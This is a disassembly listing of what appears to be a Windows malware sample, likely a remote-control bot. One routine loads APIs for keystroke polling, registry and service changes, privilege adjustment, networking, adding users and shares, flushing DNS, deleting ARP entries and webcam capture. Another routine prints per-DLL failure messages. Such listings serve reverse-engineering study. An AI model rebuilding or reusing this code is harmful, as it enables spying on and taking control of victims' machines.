loc_409A08:				; CODE XREF: sub_40981A+1B8j
					; sub_40981A+1C0j ...
		mov	ds:dword_43C6E0, 1


loc_409A12:				; CODE XREF: sub_40981A+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_43C5E4, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_43C4F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_43C5B4, eax
		call	esi
		cmp	ds:dword_43C5E4, ebx
		mov	ds:dword_43C5A0, eax
		jz	short loc_409A6F
		cmp	ds:dword_43C4F8, ebx
		jz	short loc_409A6F
		cmp	ds:dword_43C5B4, ebx
		jz	short loc_409A6F
		cmp	eax, ebx
		jnz	short loc_409A79
		jmp	short loc_409A6F
; ---------------------------------------------------------------------------


loc_409A64:				; CODE XREF: sub_40981A+144j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C6E4, eax


loc_409A6F:				; CODE XREF: sub_40981A+232j
					; sub_40981A+23Aj ...
		mov	ds:dword_43C6E0, 1


loc_409A79:				; CODE XREF: sub_40981A+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C14
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_43C688, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43C5CC, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43C63C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_43C524, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43C584, eax
		call	esi
		cmp	ds:dword_43C688, ebx
		mov	ds:dword_43C5F4, eax
		jz	short loc_409B04
		cmp	ds:dword_43C5CC, ebx
		jz	short loc_409B04
		cmp	ds:dword_43C63C, ebx
		jz	short loc_409B04
		cmp	ds:dword_43C524, ebx
		jz	short loc_409B04
		cmp	ds:dword_43C584, ebx
		jz	short loc_409B04
		cmp	eax, ebx
		jnz	short loc_409B0E


loc_409B04:				; CODE XREF: sub_40981A+2C4j
					; sub_40981A+2CCj ...
		mov	ds:dword_43C6E8, 1


loc_409B0E:				; CODE XREF: sub_40981A+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43C5FC, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_43C5D4, eax
		call	esi
		cmp	ds:dword_43C5FC, ebx
		mov	ds:dword_43C684, eax
		jz	short loc_409B49
		cmp	ds:dword_43C5D4, ebx
		jz	short loc_409B49
		cmp	eax, ebx
		jnz	short loc_409B53


loc_409B49:				; CODE XREF: sub_40981A+321j
					; sub_40981A+329j
		mov	ds:dword_43C6E8, 1


loc_409B53:				; CODE XREF: sub_40981A+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43C60C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43C500, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_43C508, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_43C568, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_43C56C, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43C51C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_43C5D8, eax
		call	esi
		cmp	ds:dword_43C60C, ebx
		mov	ds:dword_43C50C, eax
		jz	short loc_409BF7
		cmp	ds:dword_43C500, ebx
		jz	short loc_409BF7
		cmp	ds:dword_43C508, ebx
		jz	short loc_409BF7
		cmp	ds:dword_43C568, ebx
		jz	short loc_409BF7
		cmp	ds:dword_43C56C, ebx
		jz	short loc_409BF7
		cmp	ds:dword_43C51C, ebx
		jz	short loc_409BF7
		cmp	ds:dword_43C5D8, ebx
		jz	short loc_409BF7
		cmp	eax, ebx
		jnz	short loc_409C01


loc_409BF7:				; CODE XREF: sub_40981A+3A7j
					; sub_40981A+3AFj ...
		mov	ds:dword_43C6E8, 1


loc_409C01:				; CODE XREF: sub_40981A+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43C504, eax
		jnz	short loc_409C29
		jmp	short loc_409C1F
; ---------------------------------------------------------------------------


loc_409C14:				; CODE XREF: sub_40981A+26Aj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C6EC, eax


loc_409C1F:				; CODE XREF: sub_40981A+3F8j
		mov	ds:dword_43C6E8, 1


loc_409C29:				; CODE XREF: sub_40981A+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CF5
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_43C604, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_43C65C, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_43C664, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43C620, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_43C548, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_43C4F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_43C660, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_43C4E0, eax
		call	esi
		cmp	ds:dword_43C604, ebx
		mov	ds:dword_43C57C, eax
		jz	short loc_409D00
		cmp	ds:dword_43C65C, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C664, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C620, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C548, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C4F4, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C660, ebx
		jz	short loc_409D00
		cmp	ds:dword_43C4E0, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A
		jmp	short loc_409D00
; ---------------------------------------------------------------------------


loc_409CF5:				; CODE XREF: sub_40981A+41Aj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C6F4, eax


loc_409D00:				; CODE XREF: sub_40981A+49Bj
					; sub_40981A+4A3j ...
		mov	ds:dword_43C6F0, 1


loc_409D0A:				; CODE XREF: sub_40981A+4D7j
		mov	ebp, ds:dword_4230DC
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FC6
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_43C590, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43C6BC, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_43C534, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43C510, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_43C5C4, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_43C5AC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_43C578, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_43C698, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43C6B4, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_43C5C0, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43C6A4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_43C658, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_43C618, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_43C614, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_43C554, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43C54C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_43C668, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_43C67C, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_43C630, eax
		call	esi
		mov	ds:dword_43C5F0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_43C644, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43C600, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_43C640, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_43C6AC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_43C5F8, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43C5BC, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43C62C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_43C69C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_43C5D0, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_43C574, eax
		call	esi
		cmp	ds:dword_43C590, ebx
		mov	ds:dword_43C6B0, eax
		jz	loc_409FD1
		cmp	ds:dword_43C6BC, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C534, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C5C4, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C5AC, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C578, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C698, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C6B4, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C5C0, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C6A4, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C658, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C618, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C614, ebx
		jz	loc_409FD1
		cmp	ds:dword_43C554, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C668, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C67C, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C630, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C5F0, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C644, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C600, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C640, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C6AC, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C5F8, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C5BC, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C62C, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C69C, ebx
		jz	short loc_409FD1
		cmp	ds:dword_43C5D0, ebx
		jz	short loc_409FD1
		cmp	eax, ebx
		jnz	short loc_409FDB
		jmp	short loc_409FD1
; ---------------------------------------------------------------------------


loc_409FC6:				; CODE XREF: sub_40981A+501j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C6FC, eax


loc_409FD1:				; CODE XREF: sub_40981A+6A0j
					; sub_40981A+6ACj ...
		mov	ds:dword_43C6F8, 1


loc_409FDB:				; CODE XREF: sub_40981A+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E0
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_43C55C, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_43C4E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_43C5E0, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43C594, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43C5EC, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_43C5B0, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_43C528, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_43C520, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_43C530, eax
		call	esi
		cmp	ds:dword_43C55C, ebx
		mov	ecx, ds:dword_43C5B0
		mov	ds:dword_43C64C, eax
		jz	short loc_40A0BC
		cmp	ds:dword_43C4E8, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C5E0, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C594, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C5EC, ebx
		jz	short loc_40A0BC
		cmp	ecx, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C528, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C520, ebx
		jz	short loc_40A0BC
		cmp	ds:dword_43C530, ebx
		jz	short loc_40A0BC
		cmp	eax, ebx
		jnz	short loc_40A0C6


loc_40A0BC:				; CODE XREF: sub_40981A+860j
					; sub_40981A+868j ...
		mov	ds:dword_43C700, 1


loc_40A0C6:				; CODE XREF: sub_40981A+8A0j
		cmp	ecx, ebx
		jz	short loc_40A0FB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_43C5C8, eax
		jnz	short loc_40A0FB
		jmp	short loc_40A0F5
; ---------------------------------------------------------------------------


loc_40A0E0:				; CODE XREF: sub_40981A+7CCj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C704, eax
		mov	ds:dword_43C700, 1


loc_40A0F5:				; CODE XREF: sub_40981A+8C4j
		mov	ds:dword_43C5C8, ebx


loc_40A0FB:				; CODE XREF: sub_40981A+8AEj
					; sub_40981A+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A145
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_43C5A4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_43C6D0, eax
		call	esi
		cmp	ds:dword_43C5A4, ebx
		mov	ds:dword_43C53C, eax
		jz	short loc_40A150
		cmp	ds:dword_43C6D0, ebx
		jz	short loc_40A150
		cmp	eax, ebx
		jnz	short loc_40A15A
		jmp	short loc_40A150
; ---------------------------------------------------------------------------


loc_40A145:				; CODE XREF: sub_40981A+8ECj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C70C, eax


loc_40A150:				; CODE XREF: sub_40981A+91Bj
					; sub_40981A+923j ...
		mov	ds:dword_43C708, 1


loc_40A15A:				; CODE XREF: sub_40981A+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A250
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_43C518, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_43C4F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_43C564, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_43C598, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_43C6A8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_43C550, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43C4FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43C4EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_43C580, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_43C670, eax
		call	esi
		cmp	ds:dword_43C518, ebx
		mov	ds:dword_43C628, eax
		jz	short loc_40A25B
		cmp	ds:dword_43C4F0, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C564, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C598, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C6A8, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C550, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C4FC, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C4EC, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C580, ebx
		jz	short loc_40A25B
		cmp	ds:dword_43C670, ebx
		jz	short loc_40A25B
		cmp	eax, ebx
		jnz	short loc_40A265
		jmp	short loc_40A25B
; ---------------------------------------------------------------------------


loc_40A250:				; CODE XREF: sub_40981A+94Bj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C714, eax


loc_40A25B:				; CODE XREF: sub_40981A+9E6j
					; sub_40981A+9EEj ...
		mov	ds:dword_43C710, 1


loc_40A265:				; CODE XREF: sub_40981A+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29A
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_43C540, eax
		call	esi
		cmp	ds:dword_43C540, ebx
		mov	ds:dword_43C610, eax
		jz	short loc_40A2A5
		cmp	eax, ebx
		jnz	short loc_40A2AF
		jmp	short loc_40A2A5
; ---------------------------------------------------------------------------


loc_40A29A:				; CODE XREF: sub_40981A+A56j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C71C, eax


loc_40A2A5:				; CODE XREF: sub_40981A+A78j
					; sub_40981A+A7Ej
		mov	ds:dword_43C718, 1


loc_40A2AF:				; CODE XREF: sub_40981A+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E4
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43C694, eax
		call	esi
		cmp	ds:dword_43C694, ebx
		mov	ds:dword_43C690, eax
		jz	short loc_40A2EF
		cmp	eax, ebx
		jnz	short loc_40A2F9
		jmp	short loc_40A2EF
; ---------------------------------------------------------------------------


loc_40A2E4:				; CODE XREF: sub_40981A+AA0j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C724, eax


loc_40A2EF:				; CODE XREF: sub_40981A+AC2j
					; sub_40981A+AC8j
		mov	ds:dword_43C720, 1


loc_40A2F9:				; CODE XREF: sub_40981A+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A358
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_43C6C0, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_43C6B8, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_43C680, eax
		call	esi
		cmp	ds:dword_43C6C0, ebx
		mov	ds:dword_43C558, eax
		jz	short loc_40A363
		cmp	ds:dword_43C6B8, ebx
		jz	short loc_40A363
		cmp	ds:dword_43C680, ebx
		jz	short loc_40A363
		cmp	eax, ebx
		jnz	short loc_40A36D
		jmp	short loc_40A363
; ---------------------------------------------------------------------------


loc_40A358:				; CODE XREF: sub_40981A+AEAj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C72C, eax


loc_40A363:				; CODE XREF: sub_40981A+B26j
					; sub_40981A+B2Ej ...
		mov	ds:dword_43C728, 1


loc_40A36D:				; CODE XREF: sub_40981A+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A2
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_43C58C, eax
		call	esi
		cmp	ds:dword_43C58C, ebx
		mov	ds:dword_43C68C, eax
		jz	short loc_40A3AD
		cmp	eax, ebx
		jnz	short loc_40A3B7
		jmp	short loc_40A3AD
; ---------------------------------------------------------------------------


loc_40A3A2:				; CODE XREF: sub_40981A+B5Ej
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C734, eax


loc_40A3AD:				; CODE XREF: sub_40981A+B80j
					; sub_40981A+B86j
		mov	ds:dword_43C730, 1


loc_40A3B7:				; CODE XREF: sub_40981A+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A440
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_43C654, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_43C6A0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43C5DC, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_43C59C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_43C634, eax
		call	esi
		cmp	ds:dword_43C654, ebx
		mov	ds:dword_43C5A8, eax
		jz	short loc_40A44B
		cmp	ds:dword_43C6A0, ebx
		jz	short loc_40A44B
		cmp	ds:dword_43C5DC, ebx
		jz	short loc_40A44B
		cmp	ds:dword_43C59C, ebx
		jz	short loc_40A44B
		cmp	ds:dword_43C634, ebx
		jz	short loc_40A44B
		cmp	eax, ebx
		jnz	short loc_40A455
		jmp	short loc_40A44B
; ---------------------------------------------------------------------------


loc_40A440:				; CODE XREF: sub_40981A+BA8j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C73C, eax


loc_40A44B:				; CODE XREF: sub_40981A+BFEj
					; sub_40981A+C06j ...
		mov	ds:dword_43C738, 1


loc_40A455:				; CODE XREF: sub_40981A+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48A
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_43C570, eax
		call	esi
		cmp	ds:dword_43C570, ebx
		mov	ds:dword_43C648, eax
		jz	short loc_40A495
		cmp	eax, ebx
		jnz	short loc_40A49F
		jmp	short loc_40A495
; ---------------------------------------------------------------------------


loc_40A48A:				; CODE XREF: sub_40981A+C46j
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C744, eax


loc_40A495:				; CODE XREF: sub_40981A+C68j
					; sub_40981A+C6Ej
		mov	ds:dword_43C740, 1


loc_40A49F:				; CODE XREF: sub_40981A+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40A4A7(int,char *Str,int,int)

sub_40A4A7	proc near		; CODE XREF: sub_40EE51+57ABp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	ds:dword_43C6D8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4EF
		push	ds:dword_43C6DC
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A4EF:				; CODE XREF: sub_40A4A7+1Aj
		cmp	ds:dword_43C6E0, esi
		jz	short loc_40A523
		push	ds:dword_43C6E4
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A523:				; CODE XREF: sub_40A4A7+4Ej
		cmp	ds:dword_43C6E8, esi
		jz	short loc_40A557
		push	ds:dword_43C6EC
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A557:				; CODE XREF: sub_40A4A7+82j
		cmp	ds:dword_43C6F0, esi
		jz	short loc_40A58B
		push	ds:dword_43C6F4
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A58B:				; CODE XREF: sub_40A4A7+B6j
		cmp	ds:dword_43C6F8, esi
		jz	short loc_40A5BF
		push	ds:dword_43C6FC
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A5BF:				; CODE XREF: sub_40A4A7+EAj
		cmp	ds:dword_43C700, esi
		jz	short loc_40A5F3
		push	ds:dword_43C704
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A5F3:				; CODE XREF: sub_40A4A7+11Ej
		cmp	ds:dword_43C708, esi
		jz	short loc_40A627
		push	ds:dword_43C70C
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A627:				; CODE XREF: sub_40A4A7+152j
		cmp	ds:dword_43C710, esi
		jz	short loc_40A65B
		push	ds:dword_43C714
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
